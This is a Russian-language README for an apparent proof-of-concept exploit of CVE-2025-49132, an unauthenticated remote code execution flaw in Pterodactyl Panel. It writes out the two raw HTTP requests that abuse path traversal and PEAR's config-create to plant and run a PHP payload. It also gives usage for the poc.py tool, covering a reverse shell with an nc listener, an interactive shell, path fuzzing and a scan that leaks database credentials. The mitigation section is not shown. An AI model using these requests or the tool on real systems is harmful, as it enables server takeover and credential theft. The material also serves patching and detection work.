CVE-2025-49132: Неаутентифицированное удаленное выполнение кода в Pterodactyl Panel через метод PHP PEAR

Содержание

• Обзор
• Детали уязвимости
• Технический анализ
• Поток эксплуатации
• Установка
• Использование
• Примеры
• Меры по смягчению
• Отказ от ответственности
• Ссылки
• Автор

Обзор

Этот репозиторий содержит доказательство концепции (PoC) эксплуатации CVE-2025-49132 — критической уязвимости, позволяющей неаутентифицированному злоумышленнику удаленно выполнять код в Pterodactyl Panel версий до 1.11.11.

Pterodactyl Panel — это бесплатная панель управления игровыми серверами с открытым исходным кодом, написанная на PHP. Уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные системные команды на целевом сервере из-за некорректной обработки конечной точки /locales/locale.json в сочетании с функциональностью pearcmd.php из PHP PEAR.

Сводка уязвимости

• CVE ID: CVE-2025-49132
• Оценка CVSS: 10.0 (Critical)
• Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• CWE: CWE-94: Некорректный контроль генерации кода ('Code Injection')
• Затронутые версии: Pterodactyl Panel < 1.11.11
• Сложность атаки: Низкая
• Необходимые привилегии: Нет (неаутентифицированно)
• Взаимодействие с пользователем: Нет

Детали уязвимости

Что такое PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) — это фреймворк и система распространения повторно используемых компонентов PHP. Он предоставляет инструмент командной строки (pearcmd.php), который может использоваться для управления пакетами PEAR.

Файл pearcmd.php обрабатывает команды через параметры URL, и в сочетании с обходом пути (path traversal) его можно использовать для:

1. Создания произвольных PHP-файлов в системе
2. Выполнения этих файлов через веб-сервер

Основная причина

Уязвимость существует из-за:

1. Непроверенного обхода пути: Параметр locale в /locales/locale.json допускает обход пути без надлежащей проверки
2. Прямого включения файла: Приложение напрямую включает файлы на основе данных, полученных от пользователя
3. Внедрения команды PEAR: Скрипт pearcmd.php принимает команду +config-create, которая может записывать произвольные PHP-файлы
4. Неаутентифицированного доступа: Уязвимая конечная точка не требует аутентификации

Вектор атаки

Злоумышленник может:

1. Использовать обход пути для доступа к каталогу установки PEAR
2. Злоупотребить командой config-create для записи вредоносного PHP-кода в /tmp
3. Выполнить вредоносный PHP-файл через ту же конечную точку
4. Достичь полного удаленного выполнения кода от имени пользователя веб-сервера

Технический анализ

Процесс эксплуатации

Эксплойт работает в два этапа:

Этап 1: Создание нагрузки

GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Разбор:

• +config-create+/ - Вызывает функцию создания конфигурации PEAR
• locale=../../../../../../usr/share/php/PEAR - Обход пути к каталогу PEAR
• namespace=pearcmd - Нацеливается на файл pearcmd.php
• <?=system('id')?>+/tmp/payload.php - PHP-нагрузка и целевой файл

Этап 2: Выполнение нагрузки

GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Разбор:

• locale=../../../../../../tmp - Обход пути к каталогу /tmp
• namespace=payload - Включает и выполняет payload.php

Почему URL-кодирование ломает эксплойт

Эксплойт требует отправки специальных символов (<, >, ?, =) в URL без их кодирования. Если эти символы URL-закодированы:

• <?=system('id')?> становится %3C%3F%3Dsystem%28%27id%27%29%3F%3E
• PEAR интерпретирует это как буквенный текст, а не PHP-код
• Теги PHP не распознаются, что предотвращает выполнение кода

Поток эксплуатации

graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Диаграмма потока атаки

sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Установка

Предварительные требования

• Python 3.6 или выше
• Библиотека requests

Клонирование репозитория

git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Установка зависимостей

pip3 install -r requirements.txt

Или вручную:

pip3 install requests

Использование

Выполнение базовой команды

python3 poc.py -H <target_host> -c "<command>"

Обратная оболочка

# На машине атакующего запустите слушатель
nc -lvnp 4444

# Выполните эксплойт с обратной оболочкой
python3 poc.py -H <target_host> -r <your_ip>:4444

Интерактивная псевдо-оболочка

python3 poc.py -H <target_host> --shell

Фаззинг для поиска установок PEAR

python3 poc.py -H <target_host> --fuzz

Сканирование на уязвимость

python3 poc.py -H <target_host> --scan

Проверяет CVE-2025-49132 через утечки конфигурации (учетные данные базы данных, ключ приложения).

Пользовательский путь PEAR

python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Подробный вывод

python3 poc.py -H <target_host> -c "id" -v

Показывает детальный прогресс (создание нагрузки, путь PEAR, статус выполнения).

Все опции

usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

опциональные аргументы:
  -h, --help            показать это справочное сообщение и выйти
  -H HOST, --host HOST  Целевой хост (например, 192.168.1.100 или example.com)
  -c COMMAND            Команда для выполнения на целевой системе
  -r REVERSE_SHELL      Обратная оболочка (формат: LHOST:LPORT)
  --shell               Режим интерактивной псевдо-оболочки
  --fuzz                Фаззинг путей установки PEAR
  --scan                Сканирование цели на уязвимость (утечки конфигурации)
  -p PEAR_PATH          Пользовательский путь PEAR (по умолчанию: /usr/share/php/PEAR)
  -e ENDPOINT           Уязвимая конечная точка (по умолчанию: /locales/locale.json)
  --ssl                 Использовать HTTPS
  --timeout TIMEOUT     Таймаут запроса в секундах (по умолчанию: 10)
  -v, --verbose         Подробный вывод прогресса

Примеры